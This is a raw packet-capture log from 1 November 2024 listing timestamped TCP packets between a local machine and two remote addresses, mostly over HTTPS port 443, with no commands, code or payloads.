Nov 1, 2024 05:53:07.821860075 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.821866035 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.822304010 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.822307110 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.860480070 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.860905886 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.860924006 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.861171961 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.861179113 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.923348904 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.923398972 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.923588037 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.923661947 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.923676968 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.923691988 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.923696995 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.926429987 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.926455021 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.926533937 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.926641941 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.926656008 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.939587116 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.939711094 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.939771891 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.939973116 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.939973116 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.939977884 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.939985037 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.942080975 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.942110062 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.942186117 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.942302942 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.942317009 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.955542088 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.955699921 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.955765963 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.955924988 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.955924988 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.955930948 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.955936909 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.957650900 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.957664013 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.957735062 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.957847118 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.957860947 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.981276035 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.981693983 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.981703997 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.982036114 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.982039928 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.988600016 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.001233101 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.001379967 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.001379967 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.001379967 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.003043890 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.003065109 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.003133059 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.003249884 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.003264904 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.123513937 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.123656988 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.123740911 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.123891115 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.123898983 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.123908997 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.123913050 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.126476049 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.126491070 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.126564026 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.126754999 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.126765966 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.315536022 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.315558910 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.663490057 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.663979053 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.663991928 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.664433002 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.664438009 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.693666935 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.694004059 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.694025040 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.694472075 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.694479942 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.709321022 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.709702969 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.709721088 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.710048914 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.710053921 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.749772072 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.750128984 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.750150919 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.750610113 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.750617027 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.794456959 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.794536114 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.794589043 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.794742107 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.794753075 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.794761896 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.794771910 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.797573090 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.797601938 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.797662973 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.797785044 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.797797918 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.825887918 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.826209068 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.826267004 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.826301098 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.826309919 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.834721088 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.834743023 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.834814072 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.834988117 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.834997892 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.846779108 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.847047091 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.847096920 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.847274065 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.847280979 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.847290039 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.847296000 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.849406958 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.849425077 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.849488020 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.849658012 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.849663019 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.880884886 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881376028 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.881386042 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881458044 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881509066 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881551027 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.881669044 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.881683111 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881706953 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.881716013 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.881829977 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.881835938 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.883852005 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.883865118 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:08.883944035 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.884078026 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:08.884090900 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.008532047 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.008738041 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.008804083 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.008917093 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.008924007 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.008934975 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.008939028 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.011168957 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.011203051 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.011280060 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.011420012 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.011434078 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.540292978 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.540822029 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.540842056 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.541296005 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.541301012 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.554785013 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.555119038 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.555135012 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.555476904 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.555481911 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.588479996 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.588783979 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.588809013 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.589174986 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.589180946 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.602355003 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.602643967 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.602653980 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.603028059 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.603032112 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.668638945 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.668833017 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.668901920 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.668958902 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.668973923 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.668988943 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.668994904 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.671864986 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.671885967 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.671963930 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.672128916 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.672137022 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.682877064 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.683037996 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.683115005 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.683146000 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.683152914 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.683163881 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.683170080 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.685264111 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.685324907 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.685401917 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.685524940 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.685559988 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.718523026 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.718892097 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.718961954 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.718998909 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.719024897 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.719042063 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.719049931 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.721198082 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.721230030 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.721303940 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.721451998 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.721463919 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.737294912 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.737345934 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.737421036 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.737642050 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.737648964 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.737658024 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.737663031 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.740061045 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.740125895 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.740219116 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.740367889 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.740396976 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.751020908 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.751405001 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.751425028 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.751851082 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.751857042 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.883091927 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.883181095 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.883256912 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.883428097 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.883446932 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.883464098 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.883471012 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.886370897 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.886384010 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:09.886470079 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.886634111 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:09.886643887 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.417309046 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.417788982 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.417810917 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.418268919 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.418275118 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.470675945 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.471147060 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.471187115 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.471626043 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.471641064 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.472754002 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.473114014 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.473145962 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.473536968 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.473547935 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.475028038 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.475307941 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.475331068 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.475668907 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.475673914 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.549354076 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.549669027 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.549727917 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.551935911 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.551944971 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.551953077 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.551956892 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.567117929 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.567146063 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.567208052 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.567528009 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.567540884 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.602230072 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.603180885 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.603245020 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.603302002 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.603302002 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.603347063 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.603368044 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.605874062 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.605896950 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.605966091 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.606087923 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.606100082 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606648922 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606720924 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606784105 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606833935 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.606862068 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.606873035 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606894016 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606915951 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.606929064 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.606945992 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.607043982 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.607043982 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.607057095 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.607070923 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.608892918 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.608906984 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.608969927 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.609025002 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.609033108 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.609081984 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.609133959 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.609143972 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.609209061 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.609219074 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.613590002 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.613919020 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.613934040 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.614362001 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.614367008 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.743397951 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.743665934 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.743722916 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.743771076 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.743788004 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.743802071 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.743808031 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.746119976 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.746165037 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:10.746242046 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.746367931 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:10.746382952 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.301379919 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.301954985 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.301970959 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.302417994 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.302424908 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.315788031 CET	49724	80	192.168.2.4	199.232.214.172
Nov 1, 2024 05:53:11.321396112 CET	80	49724	199.232.214.172	192.168.2.4
Nov 1, 2024 05:53:11.321480989 CET	49724	80	192.168.2.4	199.232.214.172
Nov 1, 2024 05:53:11.341783047 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.342185974 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.342206001 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.342662096 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.342665911 CET	443	49823	13.107.246.45	192.168.2.4
